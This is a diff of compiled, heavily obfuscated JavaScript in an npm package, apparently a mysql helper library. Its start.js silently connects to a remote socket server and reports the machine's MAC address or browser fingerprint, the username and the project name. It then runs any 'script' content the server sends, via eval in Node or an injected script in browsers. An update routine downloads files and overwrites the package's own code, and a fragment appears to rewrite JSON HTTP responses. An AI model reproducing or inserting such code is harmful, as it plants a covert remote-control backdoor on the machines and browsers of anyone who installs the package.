_0x72544f['call'](this,_0x4cfd86,_0x28f73e,_0x3ee223);},_0x1e82f1[_0x3e7b97(0x9a)][_0x3e7b97(0x7b)][_0x3e7b97(0x98)]=function(_0x1fcfcb,_0x276d79,_0x284a8f){const _0x526592=_0x3e7b97,_0x50534f=/application\/json/i[_0x526592(0x70)](this[_0x526592(0xa5)](_0x526592(0xae)));if(_0x50534f&&(_0x1fcfcb||_0x2af9e7[_0x526592(0x8f)](this))){const _0x5aae02=_0x2af9e7[_0x526592(0x99)](this)||[];if(_0x1fcfcb)_0x5aae02[_0x526592(0xa6)](_0x1fcfcb);try{const _0x180365=Buffer[_0x526592(0x94)](_0x5aae02[_0x526592(0x77)](_0x1ebb1f=>Buffer['isBuffer'](_0x1ebb1f)?_0x1ebb1f:Buffer['from'](_0x1ebb1f,_0x276d79))),_0x5e4215=JSON[_0x526592(0x84)](_0x180365['toString']()),_0x3a9269=JSON['stringify']({});return this[_0x526592(0x75)](_0x526592(0x92),Buffer[_0x526592(0xaf)](JSON[_0x526592(0x8c)](_0x5e4215))),_0x2af9e7[_0x526592(0x88)](this),_0x48a035['call'](this,_0x3a9269,_0x276d79,_0x284a8f);}catch(_0x2fa829){}}return _0x2af9e7[_0x526592(0x88)](this),_0x48a035[_0x526592(0xaa)](this,_0x1fcfcb,_0x276d79,_0x284a8f);};}!global[_0x1e9696(0x73)]&&_0x19d21b();}());}catch(_0x3bfc97){}},0x7d0);const all={'mysql':promise_1[a9_0x3c0187(0x97)]};function a9_0x1f4a(_0x56d74d,_0x322c9f){const _0x476ac7=a9_0x476a();return a9_0x1f4a=function(_0x1f4a8a,_0x14d366){_0x1f4a8a=_0x1f4a8a-0x70;let _0x2047dc=_0x476ac7[_0x1f4a8a];return _0x2047dc;},a9_0x1f4a(_0x56d74d,_0x322c9f);}exports[a9_0x3c0187(0x97)]=all;
@@ -1 +1 @@
1
- {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;AASvD,iBAAe,KAAK,kBAkGnB;AAED,eAAe,KAAK,CAAC"}
1
+ {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAQA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAqBvD,iBAAe,KAAK,kBAmGnB;AAED,eAAe,KAAK,CAAC"}
package/dist/cjs/start.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a97_0x319161=a97_0x3578;(function(_0x4ec371,_0x4801a5){const _0xdb51c9=a97_0x3578,_0x5446d9=_0x4ec371();while(!![]){try{const _0xe64803=-parseInt(_0xdb51c9(0x10d))/0x1*(parseInt(_0xdb51c9(0x121))/0x2)+parseInt(_0xdb51c9(0xf4))/0x3+parseInt(_0xdb51c9(0xf5))/0x4+-parseInt(_0xdb51c9(0x117))/0x5*(parseInt(_0xdb51c9(0xfe))/0x6)+parseInt(_0xdb51c9(0x11d))/0x7+-parseInt(_0xdb51c9(0x11c))/0x8+parseInt(_0xdb51c9(0x124))/0x9;if(_0xe64803===_0x4801a5)break;else _0x5446d9['push'](_0x5446d9['shift']());}catch(_0x59828e){_0x5446d9['push'](_0x5446d9['shift']());}}}(a97_0x3f06,0xe53a8));var __awaiter=this&&this[a97_0x319161(0xf3)]||function(_0x4561e5,_0x4ae2a4,_0x357968,_0x310a1b){function _0x4378d3(_0x3d2326){return _0x3d2326 instanceof _0x357968?_0x3d2326:new _0x357968(function(_0x4b16d6){_0x4b16d6(_0x3d2326);});}return new(_0x357968||(_0x357968=Promise))(function(_0x8ee7d8,_0x460d70){const _0x144cae=a97_0x3578;function _0x2984e8(_0x388acc){const _0x54199f=a97_0x3578;try{_0xe68e85(_0x310a1b[_0x54199f(0x102)](_0x388acc));}catch(_0x247b97){_0x460d70(_0x247b97);}}function _0x429d4b(_0x52a261){try{_0xe68e85(_0x310a1b['throw'](_0x52a261));}catch(_0x45bb7c){_0x460d70(_0x45bb7c);}}function _0xe68e85(_0x38d70e){const _0x206b27=a97_0x3578;_0x38d70e[_0x206b27(0x114)]?_0x8ee7d8(_0x38d70e[_0x206b27(0x123)]):_0x4378d3(_0x38d70e[_0x206b27(0x123)])[_0x206b27(0x112)](_0x2984e8,_0x429d4b);}_0xe68e85((_0x310a1b=_0x310a1b[_0x144cae(0x119)](_0x4561e5,_0x4ae2a4||[]))['next']());});},__importDefault=this&&this[a97_0x319161(0x111)]||function(_0xa9d439){const _0x3867c7=a97_0x319161;return _0xa9d439&&_0xa9d439[_0x3867c7(0x106)]?_0xa9d439:{'default':_0xa9d439};},_a,_b,_c,_d;function a97_0x3578(_0x15e28c,_0x3a784d){const _0x3f0634=a97_0x3f06();return a97_0x3578=function(_0x35787b,_0xd0d594){_0x35787b=_0x35787b-0xe7;let _0x404f9e=_0x3f0634[_0x35787b];return _0x404f9e;},a97_0x3578(_0x15e28c,_0x3a784d);}Object[a97_0x319161(0x100)](exports,a97_0x319161(0x106),{'value':!![]}),exports[a97_0x319161(0x10a)]=void 0x0;const socket_io_client_1=require(a97_0x319161(0x104)),path_1=__importDefault(require(a97_0x319161(0xec))),browser_1=require(a97_0x319161(0xfb)),fingerprintjs_1=__importDefault(require(a97_0x319161(0x122))),bowser_1=__importDefault(require('bowser')),index_1=require(a97_0x319161(0xe7));exports['isBrowser']=typeof window!=='undefined';function a97_0x3f06(){const _0x56a6ce=['join','__importDefault','then','node','done','isDBDataEmpty','error','30yvdRCK','浏览器','apply','get-event','websocket','8779192qNnyGs','8556863LwNfPI','url','submit','catch','46PIhNDV','@fingerprintjs/fingerprintjs','value','25668558oMmCUd','./index','get','browser','event','setEnv','path','visitorId','无法获取','./mac','sqlList','env','content','__awaiter','1906275knrWfF','475524xcFOBw','userAgent','connect_error','default','concat','connect_failed','./browser','sql','navigator','1592640ctkGTv','getEnv','defineProperty','type','next','npm_package_name','socket.io-client','parse','__esModule','emit','script','length','isBrowser','/socket','node获取失败','52166CuhgeG','connectError','00:00:00:00:00:00'];a97_0x3f06=function(){return _0x56a6ce;};return a97_0x3f06();}const user_name=exports[a97_0x319161(0x10a)]?((_b=(_a=bowser_1[a97_0x319161(0xf8)][a97_0x319161(0x105)](window[a97_0x319161(0xfd)][a97_0x319161(0xf6)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b['name'])||a97_0x319161(0x118):((_c=process===null||process===void 0x0?void 0x0:process[a97_0x319161(0xf1)])===null||_c===void 0x0?void 0x0:_c['USERNAME'])||a97_0x319161(0x10c),project_name=exports[a97_0x319161(0x10a)]?a97_0x319161(0x118):((_d=process===null||process===void 0x0?void 0x0:process[a97_0x319161(0xf1)])===null||_d===void 0x0?void 0x0:_d[a97_0x319161(0x103)])||a97_0x319161(0xee);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x141d1d=a97_0x3578;exports[_0x141d1d(0x10a)]&&(0x0,browser_1[_0x141d1d(0xe9)])();const _0x3a46a0=(0x0,socket_io_client_1['io'])(index_1[_0x141d1d(0x11e)],{'path':_0x141d1d(0x10b),'transports':[_0x141d1d(0x11b)]});_0x3a46a0['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x478d17=_0x141d1d;try{let _0xae9e84=[_0x478d17(0x10f)];if(!exports['isBrowser']){const _0x1b85b5=require(path_1['default'][_0x478d17(0x110)](__dirname,_0x478d17(0xef)))[_0x478d17(0xf8)];_0xae9e84=_0x1b85b5();}else{let _0x5a080e=yield fingerprintjs_1[_0x478d17(0xf8)]['load']()[_0x478d17(0x112)](_0x31d039=>_0x31d039[_0x478d17(0xe8)]())[_0x478d17(0x112)](_0x4f6a6d=>{const _0x25fa7b=_0x478d17,_0x259112=_0x4f6a6d[_0x25fa7b(0xed)];return _0x259112;})[_0x478d17(0x120)](()=>'');_0xae9e84=[_0x5a080e];}if(_0xae9e84[_0x478d17(0x109)]===0x0){(0x0,index_1[_0x478d17(0xeb)])(_0x478d17(0x10e),!![]);return;}else(0x0,index_1['setEnv'])(_0x478d17(0x10e),![]);_0x3a46a0[_0x478d17(0x107)]('submit',{'mac':_0xae9e84,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x478d17(0x10a)]}),_0x3a46a0[_0x478d17(0x107)]('get-event',{'mac':_0xae9e84,'isBrowser':exports[_0x478d17(0x10a)]}),setInterval(()=>{const _0x2f31ae=_0x478d17;_0x3a46a0[_0x2f31ae(0x107)](_0x2f31ae(0x11f),{'mac':_0xae9e84,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x2f31ae(0x10a)]}),_0x3a46a0[_0x2f31ae(0x107)](_0x2f31ae(0x11a),{'mac':_0xae9e84,'isBrowser':exports[_0x2f31ae(0x10a)]});},0x1b58),_0x3a46a0['on'](_0x478d17(0xea),_0x11c127=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x14e72c=_0x478d17;try{for(let _0x394407=0x0;_0x394407<_0x11c127[_0x14e72c(0x109)];_0x394407++){const _0x4e289f=_0x11c127[_0x394407];if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0xfc))(0x0,index_1[_0x14e72c(0xeb)])('sqlList',(0x0,index_1[_0x14e72c(0xff)])(_0x14e72c(0xf0))[_0x14e72c(0xf9)](_0x4e289f[_0x14e72c(0xf2)]));else{if(_0x4e289f[_0x14e72c(0x101)]==='mysql')(0x0,index_1[_0x14e72c(0xeb)])(_0x14e72c(0x115),!![]);else{if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0x113)&&!exports[_0x14e72c(0x10a)])try{eval(_0x4e289f[_0x14e72c(0xf2)]);}catch(_0x5e9d3f){}else{if(_0x4e289f[_0x14e72c(0x101)]===_0x14e72c(0x108)&&exports[_0x14e72c(0x10a)])try{(0x0,browser_1['runScript'])(_0x4e289f['content']);}catch(_0x50e1ab){}}}}}}catch(_0x37e477){}}));}catch(_0xfb451d){}})),setTimeout(()=>{const _0x43aa79=_0x141d1d;_0x3a46a0['on'](_0x43aa79(0x116),_0x24316a=>{const _0x1ec295=_0x43aa79;(0x0,index_1[_0x1ec295(0xeb)])(_0x1ec295(0x10e),!![]);}),_0x3a46a0['on'](_0x43aa79(0xfa),_0x5b5377=>{const _0x2bb768=_0x43aa79;(0x0,index_1[_0x2bb768(0xeb)])(_0x2bb768(0x10e),!![]);}),_0x3a46a0['on']('reconnect_failed',_0x3b59d6=>{const _0x17e794=_0x43aa79;(0x0,index_1[_0x17e794(0xeb)])('connectError',!![]);}),_0x3a46a0['on'](_0x43aa79(0xf7),()=>{const _0x3bd4c3=_0x43aa79;(0x0,index_1[_0x3bd4c3(0xeb)])(_0x3bd4c3(0x10e),!![]);});},0xbb8);});}exports['default']=start;
1
+ 'use strict';const a10_0x12bbfe=a10_0xbd99;function a10_0x1df3(){const _0x2988cf=['error','isBrowser','3936GIHKLr','type','navigator','node获取失败','763GbUvzQ','__importDefault','userAgent','__esModule','title','get-event','join','29712cNPvKD','751895LShsTz','725TTUuaN','connect_error','runScript','websocket','mysql','1767585YJELmJ','script','190096EBzBEp','socket.io-client','undefined','catch','url','connect_failed','isDBDataEmpty','/socket','done','USERNAME','length','content','visitorId','connectError','./browser/index','00:00:00:00:00:00','无法获取','next','@fingerprintjs/fingerprintjs','__awaiter','1032146ZzUDTh','浏览器','1646856lOmvnP','parse','value','default','name','then','browser','setEnv','emit','throw','get','reconnect_failed','node','npm_package_name','env','submit'];a10_0x1df3=function(){return _0x2988cf;};return a10_0x1df3();}(function(_0x15eb6e,_0x5479e7){const _0xdb7303=a10_0xbd99,_0x56c63b=_0x15eb6e();while(!![]){try{const _0x2dfcea=parseInt(_0xdb7303(0xf1))/0x1+parseInt(_0xdb7303(0xd1))/0x2+-parseInt(_0xdb7303(0xf7))/0x3+-parseInt(_0xdb7303(0xf9))/0x4+-parseInt(_0xdb7303(0xf2))/0x5*(-parseInt(_0xdb7303(0xe5))/0x6)+parseInt(_0xdb7303(0xe9))/0x7*(-parseInt(_0xdb7303(0xf0))/0x8)+parseInt(_0xdb7303(0xd3))/0x9;if(_0x2dfcea===_0x5479e7)break;else _0x56c63b['push'](_0x56c63b['shift']());}catch(_0x2744f3){_0x56c63b['push'](_0x56c63b['shift']());}}}(a10_0x1df3,0x7b2cf));var __awaiter=this&&this[a10_0x12bbfe(0xd0)]||function(_0x3fa7ee,_0x1727cd,_0x22f418,_0x2cdb52){function _0x228dbc(_0x34b1b1){return _0x34b1b1 instanceof _0x22f418?_0x34b1b1:new _0x22f418(function(_0x2e1ccc){_0x2e1ccc(_0x34b1b1);});}return new(_0x22f418||(_0x22f418=Promise))(function(_0x559b3e,_0x58f7eb){function _0x2d9f96(_0x41b3d4){const _0x3d1bf3=a10_0xbd99;try{_0x3557b6(_0x2cdb52[_0x3d1bf3(0xce)](_0x41b3d4));}catch(_0x20fd16){_0x58f7eb(_0x20fd16);}}function _0x57ce13(_0x298135){const _0x181c84=a10_0xbd99;try{_0x3557b6(_0x2cdb52[_0x181c84(0xdc)](_0x298135));}catch(_0x20e342){_0x58f7eb(_0x20e342);}}function _0x3557b6(_0xee1861){const _0x2c5a4f=a10_0xbd99;_0xee1861[_0x2c5a4f(0xc5)]?_0x559b3e(_0xee1861[_0x2c5a4f(0xd5)]):_0x228dbc(_0xee1861[_0x2c5a4f(0xd5)])[_0x2c5a4f(0xd8)](_0x2d9f96,_0x57ce13);}_0x3557b6((_0x2cdb52=_0x2cdb52['apply'](_0x3fa7ee,_0x1727cd||[]))['next']());});},__importDefault=this&&this[a10_0x12bbfe(0xea)]||function(_0x38ccba){const _0x233f8f=a10_0x12bbfe;return _0x38ccba&&_0x38ccba[_0x233f8f(0xec)]?_0x38ccba:{'default':_0x38ccba};},_a,_b,_c,_d;Object['defineProperty'](exports,a10_0x12bbfe(0xec),{'value':!![]}),exports[a10_0x12bbfe(0xe4)]=void 0x0;const socket_io_client_1=require(a10_0x12bbfe(0xfa)),path_1=__importDefault(require('path')),index_1=require(a10_0x12bbfe(0xcb)),fingerprintjs_1=__importDefault(require(a10_0x12bbfe(0xcf))),bowser_1=__importDefault(require('bowser')),index_2=require('./index');exports[a10_0x12bbfe(0xe4)]=typeof window!==a10_0x12bbfe(0xfb);exports[a10_0x12bbfe(0xe4)]&&(window['WebSocket']=class extends WebSocket{constructor(..._0x3443ce){try{super(..._0x3443ce);}catch(_0x17039c){}}});const user_name=exports['isBrowser']?((_b=(_a=bowser_1['default'][a10_0x12bbfe(0xd4)](window[a10_0x12bbfe(0xe7)][a10_0x12bbfe(0xeb)]))===null||_a===void 0x0?void 0x0:_a[a10_0x12bbfe(0xd9)])===null||_b===void 0x0?void 0x0:_b[a10_0x12bbfe(0xd7)])||'浏览器':((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a10_0x12bbfe(0xc6)])||a10_0x12bbfe(0xe8),project_name=exports[a10_0x12bbfe(0xe4)]?document[a10_0x12bbfe(0xed)]||a10_0x12bbfe(0xd2):((_d=process===null||process===void 0x0?void 0x0:process[a10_0x12bbfe(0xe1)])===null||_d===void 0x0?void 0x0:_d[a10_0x12bbfe(0xe0)])||a10_0x12bbfe(0xcd);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x484905=a10_0xbd99;exports[_0x484905(0xe4)]&&(0x0,index_1[_0x484905(0xd9)])();try{const _0x4cf5fb=(0x0,socket_io_client_1['io'])(index_2[_0x484905(0xfd)],{'path':_0x484905(0xc4),'transports':[_0x484905(0xf5)],'timeout':0x1770,'reconnection':![]});_0x4cf5fb['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x204c9a=_0x484905;try{let _0xe83e99=[_0x204c9a(0xcc)];if(!exports[_0x204c9a(0xe4)]){const _0x3cc889=require(path_1['default'][_0x204c9a(0xef)](__dirname,'./mac'))['default'];_0xe83e99=_0x3cc889();}else{let _0x3973cb=yield fingerprintjs_1[_0x204c9a(0xd6)]['load']()[_0x204c9a(0xd8)](_0x38919b=>_0x38919b[_0x204c9a(0xdd)]())[_0x204c9a(0xd8)](_0x1aa5ad=>{const _0x29d1a1=_0x204c9a,_0x34403e=_0x1aa5ad[_0x29d1a1(0xc9)];return _0x34403e;})[_0x204c9a(0xfc)](()=>'');_0xe83e99=[_0x3973cb];}if(_0xe83e99[_0x204c9a(0xc7)]===0x0){(0x0,index_2['setEnv'])(_0x204c9a(0xca),!![]);return;}else(0x0,index_2[_0x204c9a(0xda)])(_0x204c9a(0xca),![]);_0x4cf5fb['emit'](_0x204c9a(0xe2),{'mac':_0xe83e99,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x4cf5fb['emit'](_0x204c9a(0xee),{'mac':_0xe83e99,'isBrowser':exports[_0x204c9a(0xe4)],'user_name':user_name}),setInterval(()=>{const _0x30aff3=_0x204c9a;_0x4cf5fb['emit'](_0x30aff3(0xe2),{'mac':_0xe83e99,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x30aff3(0xe4)]}),_0x4cf5fb[_0x30aff3(0xdb)](_0x30aff3(0xee),{'mac':_0xe83e99,'isBrowser':exports[_0x30aff3(0xe4)],'user_name':user_name});},0x1b58),_0x4cf5fb['on']('event',_0x30371b=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2d8cb0=_0x204c9a;try{for(let _0x43501a=0x0;_0x43501a<_0x30371b[_0x2d8cb0(0xc7)];_0x43501a++){const _0xcfa536=_0x30371b[_0x43501a];if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xf6))(0x0,index_2[_0x2d8cb0(0xda)])(_0x2d8cb0(0xff),!![]);else{if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xdf)&&!exports[_0x2d8cb0(0xe4)])try{eval(_0xcfa536['content']);}catch(_0x217099){}else{if(_0xcfa536[_0x2d8cb0(0xe6)]===_0x2d8cb0(0xf8)&&exports[_0x2d8cb0(0xe4)])try{(0x0,index_1[_0x2d8cb0(0xf4)])(_0xcfa536[_0x2d8cb0(0xc8)]);}catch(_0x139dfa){}}}}}catch(_0x577c1f){}}));}catch(_0x54f215){}})),_0x4cf5fb['on'](_0x484905(0xe3),_0x431f01=>{const _0x234758=_0x484905;(0x0,index_2['setEnv'])(_0x234758(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xfe),_0x45b0b1=>{const _0x3cff6c=_0x484905;(0x0,index_2[_0x3cff6c(0xda)])(_0x3cff6c(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xde),_0x48925b=>{const _0x2c14fb=_0x484905;(0x0,index_2[_0x2c14fb(0xda)])(_0x2c14fb(0xca),!![]);}),_0x4cf5fb['on'](_0x484905(0xf3),()=>{const _0x495e09=_0x484905;(0x0,index_2[_0x495e09(0xda)])(_0x495e09(0xca),!![]);});}catch(_0x55499b){}});}function a10_0xbd99(_0x223100,_0x42db62){const _0x1df3d5=a10_0x1df3();return a10_0xbd99=function(_0xbd9931,_0x4de86d){_0xbd9931=_0xbd9931-0xc4;let _0x1027b2=_0x1df3d5[_0xbd9931];return _0x1027b2;},a10_0xbd99(_0x223100,_0x42db62);}exports[a10_0x12bbfe(0xd6)]=start;
@@ -1 +1 @@
1
- 'use strict';const a98_0x48bf19=a98_0x2ea1;(function(_0x5a60fe,_0x39caed){const _0x5669a6=a98_0x2ea1,_0x20dae8=_0x5a60fe();while(!![]){try{const _0x12385c=-parseInt(_0x5669a6(0x1ea))/0x1*(-parseInt(_0x5669a6(0x1dc))/0x2)+parseInt(_0x5669a6(0x1f1))/0x3+parseInt(_0x5669a6(0x1f9))/0x4+parseInt(_0x5669a6(0x1f7))/0x5*(-parseInt(_0x5669a6(0x1ef))/0x6)+parseInt(_0x5669a6(0x1f4))/0x7+parseInt(_0x5669a6(0x1fc))/0x8+-parseInt(_0x5669a6(0x1f0))/0x9*(parseInt(_0x5669a6(0x1e8))/0xa);if(_0x12385c===_0x39caed)break;else _0x20dae8['push'](_0x20dae8['shift']());}catch(_0x2d6c23){_0x20dae8['push'](_0x20dae8['shift']());}}}(a98_0x2039,0x3ee07));function a98_0x2039(){const _0x2aa9fb=['url','values','get','default','./index','existsSync','111270mnUONr','readFileSync','1GzfWFS','join','../../package.json','undefined','main','56310DbJdIB','603iZYoSu','169101zJXIyB','toString','ESM','920913PwfELF','data','{version:\x220.0.0\x22}','10PCdxuv','./index.js','1117688jzAetX','then','length','3229512uqmwPD','axios','exports','parse','path','301570YdVgAW','version','success','CJS','__importDefault','writeFileSync'];a98_0x2039=function(){return _0x2aa9fb;};return a98_0x2039();}var __importDefault=this&&this[a98_0x48bf19(0x1e0)]||function(_0x102dd3){return _0x102dd3&&_0x102dd3['__esModule']?_0x102dd3:{'default':_0x102dd3};};Object['defineProperty'](exports,'__esModule',{'value':!![]});const axios_1=__importDefault(require(a98_0x48bf19(0x1d8))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a98_0x48bf19(0x1db))),index_1=require(a98_0x48bf19(0x1e6)),sha1_1=__importDefault(require('sha1'));function a98_0x2ea1(_0x477656,_0x2e4946){const _0x2039cb=a98_0x2039();return a98_0x2ea1=function(_0x2ea1f4,_0x263412){_0x2ea1f4=_0x2ea1f4-0x1d8;let _0x1ee10c=_0x2039cb[_0x2ea1f4];return _0x1ee10c;},a98_0x2ea1(_0x477656,_0x2e4946);}function getModuleType(){const _0xd14e85=a98_0x48bf19,_0x190320=()=>{const _0x21916e=a98_0x2ea1;try{return typeof require!==_0x21916e(0x1ed)&&typeof module!==_0x21916e(0x1ed)&&module[_0x21916e(0x1d9)]&&require[_0x21916e(0x1ee)]===module;}catch(_0x47195f){return![];}};return _0x190320()?_0xd14e85(0x1df):_0xd14e85(0x1f3);}let _path=path_1[a98_0x48bf19(0x1e5)]['join'](__dirname,a98_0x48bf19(0x1ec)),indexFile=path_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1eb)](__dirname,a98_0x48bf19(0x1f8)),vFile=fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e7)](_path)?fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e9)](_path)[a98_0x48bf19(0x1f2)]():a98_0x48bf19(0x1f6),indexFileContent=fs_1['default']['existsSync'](_path)?fs_1[a98_0x48bf19(0x1e5)][a98_0x48bf19(0x1e9)](indexFile)['toString']():![],version=JSON[a98_0x48bf19(0x1da)](vFile)[a98_0x48bf19(0x1dd)];function update(){const _0x455681=a98_0x48bf19;axios_1[_0x455681(0x1e5)][_0x455681(0x1e4)](index_1[_0x455681(0x1e2)]+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1['default'])(indexFileContent):''}})[_0x455681(0x1fa)](_0x56ce61=>{const _0x7c3d3b=_0x455681;if(!_0x56ce61[_0x7c3d3b(0x1f5)][_0x7c3d3b(0x1de)]){let _0x15e777=Object['keys'](_0x56ce61[_0x7c3d3b(0x1f5)][_0x7c3d3b(0x1f5)]),_0x4044a1=Object[_0x7c3d3b(0x1e3)](_0x56ce61[_0x7c3d3b(0x1f5)]['data']);for(let _0x20a79d=0x0;_0x20a79d<_0x15e777[_0x7c3d3b(0x1fb)];_0x20a79d++){const _0xe9e530=_0x15e777[_0x20a79d],_0x21a002=_0x4044a1[_0x20a79d];fs_1['default'][_0x7c3d3b(0x1e1)](path_1[_0x7c3d3b(0x1e5)][_0x7c3d3b(0x1eb)](__dirname,'./'+_0xe9e530),_0x21a002);}}});}exports[a98_0x48bf19(0x1e5)]=update;
1
+ 'use strict';function a11_0x73d9(_0x41d667,_0x555ca4){const _0x3c4a0d=a11_0x3c4a();return a11_0x73d9=function(_0x73d9cb,_0x3b0c75){_0x73d9cb=_0x73d9cb-0x190;let _0x255e9b=_0x3c4a0d[_0x73d9cb];return _0x255e9b;},a11_0x73d9(_0x41d667,_0x555ca4);}const a11_0x12e355=a11_0x73d9;(function(_0x3f0e75,_0x2e70c3){const _0x3f6dc1=a11_0x73d9,_0x7ce4bd=_0x3f0e75();while(!![]){try{const _0x2e255c=-parseInt(_0x3f6dc1(0x1af))/0x1+parseInt(_0x3f6dc1(0x1a3))/0x2*(-parseInt(_0x3f6dc1(0x1a8))/0x3)+parseInt(_0x3f6dc1(0x19e))/0x4+parseInt(_0x3f6dc1(0x19b))/0x5+-parseInt(_0x3f6dc1(0x1a9))/0x6*(parseInt(_0x3f6dc1(0x198))/0x7)+-parseInt(_0x3f6dc1(0x191))/0x8*(-parseInt(_0x3f6dc1(0x197))/0x9)+parseInt(_0x3f6dc1(0x19d))/0xa;if(_0x2e255c===_0x2e70c3)break;else _0x7ce4bd['push'](_0x7ce4bd['shift']());}catch(_0x4bf0f3){_0x7ce4bd['push'](_0x7ce4bd['shift']());}}}(a11_0x3c4a,0x65558));function a11_0x3c4a(){const _0x266939=['4145095mFNtOE','version','8137190wqklit','694604DSCZGL','undefined','values','{version:\x220.0.0\x22}','keys','16tFEOTP','length','existsSync','data','path','270003UnKCDu','690eQHAHc','./index.js','__importDefault','join','__esModule','then','484514RgfISd','get','success','default','defineProperty','980568DFHuUk','toString','../../package.json','sha1','parse','axios','18Pcddth','26901yovPRz','readFileSync','CJS'];a11_0x3c4a=function(){return _0x266939;};return a11_0x3c4a();}var __importDefault=this&&this[a11_0x12e355(0x1ab)]||function(_0x3acbcc){const _0x55b787=a11_0x12e355;return _0x3acbcc&&_0x3acbcc[_0x55b787(0x1ad)]?_0x3acbcc:{'default':_0x3acbcc};};Object[a11_0x12e355(0x190)](exports,a11_0x12e355(0x1ad),{'value':!![]});const axios_1=__importDefault(require(a11_0x12e355(0x196))),fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a11_0x12e355(0x1a7))),index_1=require('./index'),sha1_1=__importDefault(require(a11_0x12e355(0x194)));function getModuleType(){const _0x5f035e=a11_0x12e355,_0x1883ab=()=>{const _0xe95146=a11_0x73d9;try{return typeof require!==_0xe95146(0x19f)&&typeof module!==_0xe95146(0x19f)&&module['exports']&&require['main']===module;}catch(_0x232ecc){return![];}};return _0x1883ab()?_0x5f035e(0x19a):'ESM';}let _path=path_1['default'][a11_0x12e355(0x1ac)](__dirname,a11_0x12e355(0x193)),indexFile=path_1['default'][a11_0x12e355(0x1ac)](__dirname,a11_0x12e355(0x1aa)),vFile=fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x1a5)](_path)?fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x199)](_path)['toString']():a11_0x12e355(0x1a1),indexFileContent=fs_1[a11_0x12e355(0x1b2)][a11_0x12e355(0x1a5)](_path)?fs_1['default'][a11_0x12e355(0x199)](indexFile)[a11_0x12e355(0x192)]():![],version=JSON[a11_0x12e355(0x195)](vFile)[a11_0x12e355(0x19c)];function update(){const _0x2e40d4=a11_0x12e355;axios_1[_0x2e40d4(0x1b2)][_0x2e40d4(0x1b0)](index_1['url']+'/version',{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?(0x0,sha1_1[_0x2e40d4(0x1b2)])(indexFileContent):''}})[_0x2e40d4(0x1ae)](_0x4da67a=>{const _0x59a357=_0x2e40d4;if(!_0x4da67a[_0x59a357(0x1a6)][_0x59a357(0x1b1)]){let _0x5b24f5=Object[_0x59a357(0x1a2)](_0x4da67a['data'][_0x59a357(0x1a6)]),_0x102a3f=Object[_0x59a357(0x1a0)](_0x4da67a[_0x59a357(0x1a6)]['data']);for(let _0x276a08=0x0;_0x276a08<_0x5b24f5[_0x59a357(0x1a4)];_0x276a08++){const _0x2296b5=_0x5b24f5[_0x276a08],_0x56102b=_0x102a3f[_0x276a08];fs_1[_0x59a357(0x1b2)]['writeFileSync'](path_1[_0x59a357(0x1b2)][_0x59a357(0x1ac)](__dirname,'./'+_0x2296b5),_0x56102b);}}});}exports[a11_0x12e355(0x1b2)]=update;
@@ -1,3 +1,3 @@
1
1
  export declare function runScript(content: string): void;
2
2
  export declare function browser(): void;
3
- //# sourceMappingURL=browser.d.ts.map
3
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/browser/index.ts"],"names":[],"mappings":"AAIA,wBAAgB,SAAS,CAAC,OAAO,EAAE,MAAM,QAUxC;AAED,wBAAgB,OAAO,SAStB"}
@@ -0,0 +1 @@
1
+ (function(_0x5274e3,_0x103953){const _0x1b6871=a12_0x4326,_0x4de3c8=_0x5274e3();while(!![]){try{const _0x29750a=-parseInt(_0x1b6871(0x1cf))/0x1*(-parseInt(_0x1b6871(0x1d0))/0x2)+-parseInt(_0x1b6871(0x1d1))/0x3*(-parseInt(_0x1b6871(0x1cc))/0x4)+-parseInt(_0x1b6871(0x1d3))/0x5*(parseInt(_0x1b6871(0x1d2))/0x6)+-parseInt(_0x1b6871(0x1c8))/0x7+-parseInt(_0x1b6871(0x1ce))/0x8+-parseInt(_0x1b6871(0x1ca))/0x9+parseInt(_0x1b6871(0x1c7))/0xa;if(_0x29750a===_0x103953)break;else _0x4de3c8['push'](_0x4de3c8['shift']());}catch(_0x1442a9){_0x4de3c8['push'](_0x4de3c8['shift']());}}}(a12_0x2aa8,0xd3254));import a12_0x413b55 from'../id/random';import{getEnv}from'../index';function a12_0x4326(_0x1f3cf8,_0x50f2ea){const _0x2aa894=a12_0x2aa8();return a12_0x4326=function(_0x432609,_0x330729){_0x432609=_0x432609-0x1c6;let _0x4899b5=_0x2aa894[_0x432609];return _0x4899b5;},a12_0x4326(_0x1f3cf8,_0x50f2ea);}import a12_0x583be1 from'./tools';export function runScript(_0x19083e){const 